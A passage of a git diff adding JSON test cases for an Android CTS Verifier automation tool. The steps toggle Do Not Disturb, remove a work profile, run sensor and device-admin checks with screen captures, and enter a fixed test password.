app\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/instant_app_button_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":199.0,\"x2\":360.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":270.5,\"y\":251.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-90.5,\"y\":-14.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"f8106978-ff86-491b-becb-4de7c797f813\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Clear app\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":230.0,\"y1\":240.0,\"x2\":311.0,\"y2\":263.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"258e655e-e26e-4e29-98c3-afdd74f6e184\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"bc567504-591b-488a-ad4f-a57f249ec160\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"60edd4ca-a93d-4d7f-97a4-4907eed14c7f\",\"2f84faf3-ab47-4f4b-b90c-e62ce2d6d56e\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"b53eeaf5-391f-4964-84fa-d086c2b938e1\",\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"095f080a-7fd4-4ea0-8e16-b827ee951652\",\"af875290-c5b8-4348-be63-026a49461725\",\"2eba5ece-5384-4ee2-bc0e-ec53715406ab\",\"0a7a88e0-c5f2-44d2-8333-e3f05c48b495\",\"fe129759-c832-4a13-ad55-a53364c03404\",\"b60d3684-2ed9-4f9c-b182-f4bb500f6eeb\",\"b896a3f9-3d3d-47f6-add9-e71a8e1c4d29\",\"ad8fc312-e1f4-48da-a807-9ed0b6c8b5e6\",\"eefa0086-ede5-414e-a697-040388fb86e3\",\"ac2027a0-fd92-44b4-904a-016e89d04a6a\",\"b53eeaf5-391f-4964-84fa-d086c2b938e1\",\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"58df2879-50df-4a02-a7ac-3bdc5a625840\",\"e17ce462-0957-4138-97ca-52235c25aaed\",\"37022be6-ce98-4be9-82c3-7b7987cde34a\",\"d30e138d-1391-4c89-b51c-dd1fd9b7a577\",\"34b311bf-df6f-43b2-881f-af839ba5a0ab\",\"b5bd21bf-e715-47b5-aab6-9bc2a79e6e1c\",\"258e655e-e26e-4e29-98c3-afdd74f6e184\",\"bc567504-591b-488a-ad4f-a57f249ec160\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_instant_app_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsVerifierInstantApp.apk\"}}","name":"test_Instant Apps Notification Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.059000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c6612b18-5a86-4e82-b7fe-7487ddc09db1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c6612b18-5a86-4e82-b7fe-7487ddc09db1
new file mode 100644
index 0000000..076d923
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c6612b18-5a86-4e82-b7fe-7487ddc09db1
@@ -0,0 +1 @@
+{"uuid":"c6612b18-5a86-4e82-b7fe-7487ddc09db1","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn on Do not Disturb on quick setting\",\"actionId\":\"c6612b18-5a86-4e82-b7fe-7487ddc09db1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Check if Do Not Distrub Off\",\"actionId\":\"61c1bc00-0673-4d7d-983c-d8fdf1ba84c3\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"contentDesc\",\"operator\":\"contains\",\"value\":\"Do Not Disturb\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Off\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Do Not Disturb\",\"actionId\":\"65e66960-ec07-46a2-944b-5ba7ddefc473\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Do Not Disturb\"}],\"childrenIdList\":[\"bc4f5534-26cb-4b19-b548-609b6c8e326e\",\"61c1bc00-0673-4d7d-983c-d8fdf1ba84c3\",\"65e66960-ec07-46a2-944b-5ba7ddefc473\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn on Do not Disturb on quick setting","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.982000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c6ce936e-5dc7-4eee-a2a0-171ccb438ae7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c6ce936e-5dc7-4eee-a2a0-171ccb438ae7
new file mode 100644
index 0000000..9312408
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c6ce936e-5dc7-4eee-a2a0-171ccb438ae7
@@ -0,0 +1 @@
+{"uuid":"c6ce936e-5dc7-4eee-a2a0-171ccb438ae7","details":"{\"type\":\"CompoundAction\",\"name\":\"Remove work profile\",\"actionId\":\"c6ce936e-5dc7-4eee-a2a0-171ccb438ae7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/search_action_bar_title\",\"actionId\":\"98c9afcc-d9e7-4614-97c2-5d89cab713d5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/search_action_bar_title\"},{\"type\":\"InputAction\",\"name\":\"INPUT-Accounts\",\"actionId\":\"ad39ceb2-b31e-47b7-81a5-350b28e77a48\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":0,\"inputString\":\"Accounts\",\"isSingleChar\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Click-to enter Accounts\",\"actionId\":\"fb7b15cb-5d31-417a-b0a9-99ea66474db5\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Accounts\"}]},\"clickAfterValidation\":true},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-if Work Tab exists\",\"actionId\":\"9201ce40-fcc9-4a62-8a31-41365908a922\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Work\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"4ba59711-a35b-4174-ac43-a323e1e9792d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Remove work profile\",\"actionId\":\"c39cf09f-d2c8-40a9-b08c-318ec94c8a77\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Remove work profile\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button1\",\"actionId\":\"346d40ca-1dd4-4d0a-94da-cda07fe2c567\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"98c9afcc-d9e7-4614-97c2-5d89cab713d5\",\"ad39ceb2-b31e-47b7-81a5-350b28e77a48\",\"fb7b15cb-5d31-417a-b0a9-99ea66474db5\",\"9201ce40-fcc9-4a62-8a31-41365908a922\",\"4ba59711-a35b-4174-ac43-a323e1e9792d\",\"c39cf09f-d2c8-40a9-b08c-318ec94c8a77\",\"346d40ca-1dd4-4d0a-94da-cda07fe2c567\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Remove work profile","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.310000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5
new file mode 100644
index 0000000..3e352db
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5
@@ -0,0 +1 @@
+{"uuid":"c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Off Body Sensor Tests\",\"actionId\":\"c7a524d7-b4b3-4e41-a6ae-2deaa4af43e5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Off Body Sensor Tests\",\"actionId\":\"89023b43-dffd-4474-92c5-701b6573f26f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Off Body Sensor Tests\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0de4ee46-4a4b-40ad-98f9-83d96224da1c\",\"displayText\":\"Off Body Sensor Tests\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Off Body Sensor Tests\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":436.6666666666667,\"x2\":350.6666666666667,\"y2\":480.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":91.0,\"y\":458.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.0,\"y\":0.6666666666666856,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0de4ee46-4a4b-40ad-98f9-83d96224da1c\",\"firstText\":\"Off Body Sensor Tests\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Off Body Sensor Tests\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":446.0,\"x2\":172.0,\"y2\":470.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Off Body Sensor Tests\",\"actionId\":\"7b1708f0-7eb9-4732-9e14-37ad0bdfc7e2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Off Body Sensor Tests\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/next_button\",\"actionId\":\"fe013b7f-b390-445c-93f4-95053a4d4fed\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/next_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-If it's in CTS-V main list\",\"actionId\":\"99120672-e5d0-4700-9b71-c8aa917147b8\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/export\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"49d12aa6-c679-44be-ba72-a6c46a5cd4d7\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"89023b43-dffd-4474-92c5-701b6573f26f\",\"7b1708f0-7eb9-4732-9e14-37ad0bdfc7e2\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"fe013b7f-b390-445c-93f4-95053a4d4fed\",\"99120672-e5d0-4700-9b71-c8aa917147b8\",\"49c301ea-be46-4ac5-87fc-21262da2994c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Off Body Sensor Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.271000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c8aa9cc8-5d60-4130-b8ed-217545c43231 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c8aa9cc8-5d60-4130-b8ed-217545c43231
new file mode 100644
index 0000000..0f0f5d9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c8aa9cc8-5d60-4130-b8ed-217545c43231
@@ -0,0 +1 @@
+{"uuid":"c8aa9cc8-5d60-4130-b8ed-217545c43231","details":"{\"type\":\"CompoundAction\",\"name\":\"07_Profile-aware device administrator settings(Check image)\",\"actionId\":\"c8aa9cc8-5d60-4130-b8ed-217545c43231\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware device administrator settings\",\"actionId\":\"d9080a57-44df-4b1b-bc35-e90295aa35af\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware device administrator settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"513aac93-a0c2-4436-b042-cf8764a56af6\",\"displayText\":\"Profile-aware device administrator settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Profile-aware device administrator settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":635.3333333333334,\"x2\":360.0,\"y2\":679.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":150.0,\"y\":653.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":30.0,\"y\":3.8333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"513aac93-a0c2-4436-b042-cf8764a56af6\",\"firstText\":\"Profile-aware device administrator settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware device administrator settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":300.0,\"y1\":670.0,\"x2\":0.0,\"y2\":637.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware device administrator settings\",\"actionId\":\"e515e029-cdbf-4c52-9f64-a6d74d666169\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware device administrator settings\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device admin apps\",\"actionId\":\"ca8b7a55-c4f7-4698-94f7-9e1a00cc3884\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device admin apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"429561a8-b5bb-45be-b678-7504ef997c87\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e7f67b14-059e-4cda-a937-5b73d4195d09\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"21e248b8-8f30-4e34-a9df-8523a67bfe13\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Device admin apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":368.3333333333333,\"x2\":191.0,\"y2\":388.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":-0.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Device admin apps\"},{\"uuid\":\"bf4c56c9-3b3a-4cc1-ac76-b184d4c4bd2f\",\"displayText\":\"1 active app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"1 active app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":388.0,\"x2\":136.0,\"y2\":405.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"1 active app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":353.6666666666667,\"x2\":345.3333333333333,\"y2\":420.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Device admin apps\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":353.6666666666667,\"x2\":360.0,\"y2\":420.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":128.5,\"y\":379.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":51.5,\"y\":8.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"21e248b8-8f30-4e34-a9df-8523a67bfe13\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device admin apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":63.0,\"y1\":368.0,\"x2\":194.0,\"y2\":390.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device admin apps\",\"actionId\":\"e6d13da6-3032-497f-a223-7fe8a4ff5be6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device admin apps\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"f087073d-f517-4f78-8fda-892fad960713\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"PythonScriptAction\",\"name\":\"Tap CTS Verifier with badge\",\"actionId\":\"f1101331-e0b9-4c6a-8888-6db99a694264\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"9efd333e-6f4f-4f1e-bc11-10a1ca5643c6\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Remove work profile\",\"actionId\":\"83bd0fb1-6280-4ab9-bf9b-07a11cafa0ee\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.settings:id/action_button\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Remove work profile\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Deactivate not exists\",\"actionId\":\"bc991532-da3a-4843-a609-7616eacb3c50\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.settings:id/action_button\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Deactivate\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"d9080a57-44df-4b1b-bc35-e90295aa35af\",\"e515e029-cdbf-4c52-9f64-a6d74d666169\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"ca8b7a55-c4f7-4698-94f7-9e1a00cc3884\",\"e6d13da6-3032-497f-a223-7fe8a4ff5be6\",\"f087073d-f517-4f78-8fda-892fad960713\",\"f1101331-e0b9-4c6a-8888-6db99a694264\",\"9efd333e-6f4f-4f1e-bc11-10a1ca5643c6\",\"83bd0fb1-6280-4ab9-bf9b-07a11cafa0ee\",\"bc991532-da3a-4843-a609-7616eacb3c50\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"07_Profile-aware device administrator settings(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.299000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c9423320-3e9d-40ed-8a84-957a48931121 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c9423320-3e9d-40ed-8a84-957a48931121
new file mode 100644
index 0000000..eaa2ba9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c9423320-3e9d-40ed-8a84-957a48931121
@@ -0,0 +1 @@
+{"uuid":"c9423320-3e9d-40ed-8a84-957a48931121","details":"{\"type\":\"CompoundAction\",\"name\":\"Enter password \\\"a1688\\\"\",\"actionId\":\"c9423320-3e9d-40ed-8a84-957a48931121\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"INPUT password \\\"a1688\\\"\",\"actionId\":\"62f2c070-fdef-4c02-be0d-7954c373e117\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"a1688\",\"isSingleChar\":false}],\"childrenIdList\":[\"62f2c070-fdef-4c02-be0d-7954c373e117\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enter password \"a1688\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.268000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c98b2d13-1b60-48d2-b05b-00252bb1c900 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c98b2d13-1b60-48d2-b05b-00252bb1c900
new file mode 100644
index 0000000..de04e64
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/c98b2d13-1b60-48d2-b05b-00252bb1c900
@@ -0,0 +1 @@
